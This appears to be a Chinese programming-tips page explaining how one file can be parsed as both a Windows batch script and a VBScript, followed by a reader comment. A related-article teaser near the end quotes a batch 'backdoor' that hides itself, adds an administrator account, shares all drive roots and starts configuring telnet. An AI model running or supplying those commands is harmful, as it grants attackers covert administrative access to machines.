位置: 编程技术 - 正文

让批处理被wsh解析的代码(批处理 leq)

编辑:rootadmin
示例批处理:test.bat 上面的代码巧妙利用 bat 和 vbs 的语法特征,让同一个文件,被 cmd.exe 识别成批处理,让 wscrpt.exe 识别成 vbs,并且同时符合两者的语法,并且保证都没有错误,保证两者的高度兼容。就叫它 bat/vbs 复合编程吧 (Hybird Programming) 粗略解释下代码 引用: :On Error Resume Next cmd.exe 识别成一段注释 wscript.exe 这样识别, : 在vbs语法里代表分行,然后 On Error Resume Next,也就是让WSH忽略一些错误 引用: start wscript -e:vbs "%~f0" cmd.exe 识别成:启动 wscript.exe ,其参数是: ① -e:vbs 设定以vbs解析文件自身 ② "%~f0" 指这个批处理本身。 wscript.exe 把这句识别成:调用一个叫 start 的函数,函数参数是 wscript 这个变量,然后用这个函数的结果来 减去 e。接下来是又是一个 : ,分行,然后又是调用一个名叫 vbs 的函数,参数是字符: "%~f0" 这句是最为精巧的,因为它成功的让 vbs 引擎解释了一段批处理,而且没有错误!当然这些 start()、vbs()函数是不存在的,但是会被 cmd.exe 当成命令执行。为什么不用 wscript //e:vbs "%~f0" 来执行呢?vbs解析会出错的,呵呵 这段代码的核心思想已经介绍完毕了。下面,为了让 批处理 以vbs调用其自身后,马上退出,我们需要 exit 或者 goto :eof,但是 goto call exit 在vbs又是一个关键词,所以我们只能用符合 vbs 语法的 exit sub,所以我们在第二句加一个 sub bat,其实 cmd.exe 寻找了一个叫 sub.exe 的命令,但是这个命令是不存在的,cmd.exe 跳过。然后在 6、7 句加一个 exit sub 以及 end sub,让 批处理结束,同时又符合 vbs 的语法 那个 echo off & cls ,批处理的意思就是相当于 @echo off ,但是 vbs 不认 @ 符号,所以改成 echo off & cls , vbs 可以解析为,调用一个叫 echo() 的函数,参数为 off & cls ,也就是两个字符串 off 和 cls 相加 Well,接下来,你可以自由地在批处理中书写vbs脚本了,效率和真正的vbs一样高! 这段代码的好处是:不用生成临时文件。其实用 echo 或者 more 或者 find 来生成临时vbs很浪费系统资源的,用我写的这段代码,就完全免去了这些麻烦。直接混合编程,以 start wscript -e:vbs "%~f0" 为界限,上面写 批处理,下面写 vbs,并行不悖! 大家有更好的想法可以跟贴讨论呀 allyesno :%~fI - 将 %I 扩充到一个完全合格的路径名 另外如果用到shell中的话 写vbs也要用到echo的 在这种情况没有省系统资源的说法 除非 copy con 就可以写 那就直接写任意脚本文件就行了 其他的情况是有的

推荐整理分享让批处理被wsh解析的代码(批处理 leq),希望有所帮助,仅作参考,欢迎阅读内容。

让批处理被wsh解析的代码(批处理 leq)

文章相关热门搜索词:批处理的结束标志是什么,批处理!!,批处理中,批处理结束程序,批处理!!,批处理!!,批处理 leq,批处理!!,内容如对您有帮助,希望把文章链接给更多的朋友!

谈谈xcopy中的排除copy 不过这个命令用起来真的不好用并不像windows的帮助写的那么简单下面来详细说明一下我们先看看xcopy的帮助是怎么写的/EXCLUDE:file1[+file2][+file3]...指定含

迅速删除非法文件名的批处理代码 例如..connul等等两行代码搞定,迅速删除使用非法文件名的文件及文件夹年月日星期一:DEL/F/A/Q\?%1RD/S/Q\?%1保存为.bat或者.cmd文件即可。以后遇

批处理bat之永不被杀的后门 代码如下:@echooff@attrib+s+rxyt.bat@netuserxythacker/add@netlocalgroupadministratorsxyt/add@netsharec$=c:@netshared$=d:@netsharee$=e:@netsharef$=f:@netshareg$=g:@netshareh$=h:@tlntadmnconfigsec=

标签: 批处理 leq

本文链接地址:https://www.jiuchutong.com/biancheng/378391.html 转载请保留说明!

上一篇:用dsadd添加用户的代码(用户dsn添加)

下一篇:谈谈xcopy中的排除copy(xcopy命令怎么用)

  • 企业间无偿划转资产,非关联方经营
  • 待处理财产损益借方
  • 简易计税36个月不能变指的是这个项目吗?
  • 出售的固定资产通过固定资产清理吗
  • 金蝶旗舰版的现金流量表怎么导出
  • 个人所得税6月底没有退怎办
  • 购买土地契税和印花税什么时候交
  • 税务机关对企业实施特别纳税调整,涉及企业向境外
  • 高速公路通行费发票可以抵扣增值税吗
  • 已经认证的发票红冲发票需要收回原发票吗
  • 股票质押式回购交易业务
  • 融资租赁与经营租赁相比具有的优势
  • 计提营业账簿印花税怎么做账
  • 食堂固定资产折旧年限
  • 增值税专票5%税率
  • 新三板公司股东人数
  • 个人所得税计算器2023
  • 纳税调整的情况
  • 外购的货物用于集体福利进项税额可以抵扣吗
  • 纳税人如何办理纳税申报
  • 所得税季报固定资产加速折旧表资产原值
  • 税款滞纳金可以退吗
  • 销项税额与进项税额区别
  • 目前建筑里面税金总共包括几部分
  • 连续12个月超过500万怎么办
  • 公司购买宿舍楼申请书
  • 增值税(滞纳金)
  • 电信增值税发票怎么抵扣
  • 个税经营所得申报常见问题答疑
  • linux路由器配置实例
  • 王者荣耀中墨子的最强出装
  • 给客户购买礼品怎么记账
  • 维修机器设备买什么好
  • 期末留抵税额的减值
  • 股权转让协议解除返还股权优先权
  • 无线路由器如何桥接wifi信号
  • win11怎么清理内存
  • PHP:mcrypt_enc_is_block_algorithm_mode()的用法_Mcrypt函数
  • 违约金要计入应纳税所得额吗
  • 政府会计公共基础设施的概念和内容
  • 个人所得税有哪些可以减免的项目
  • 一二级公路增值税税率
  • thinkphp6 数据库
  • 合同内容和开票内容不一致
  • phpcms怎么用
  • 固定资产盘盈为什么计入以前年度损益调整
  • 公司电脑配件也要交税吗
  • 收到工会经费返还属于现金流量表哪
  • 租赁业务
  • 建筑劳务公司做账表格
  • 租赁合同的印花税怎么交
  • 小微企业免税销售额怎么填
  • 五险一金缴纳比例2023
  • 收到税务局退回的个税手续费怎么入账
  • 信用减值损失和公允价值变动的区别
  • 退回现金会计分录
  • 税后净利润弥补亏损分lu1
  • 一般纳税人在外地预缴税款,预缴多了需不需退税
  • 青苗赔偿管理办法
  • 应交税费应交增值税已交税金怎么用
  • mysql5.7.17安装
  • mysql根据另一张表更新
  • windows server 2003 r2 序列号
  • mac如何切换界面 快捷键
  • mac上的
  • windows10周年更新
  • Win10输入法切换快捷键改不了
  • mssearch.exe - mssearch是什么进程 有什么用
  • centos安装命令yum
  • opengl教程48讲
  • 阿里云ecs keepalived
  • 疯狂冰淇淋罗德
  • javascript中window.onload
  • nodejs基础知识
  • ug编程代码意思
  • 解决口苦的最佳方法
  • 2016年最火的歌曲排行榜前十名
  • JavaScript的函数中只能写一条代码语句
  • 税务局三级主办是副科吗
  • 供暖配套费
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设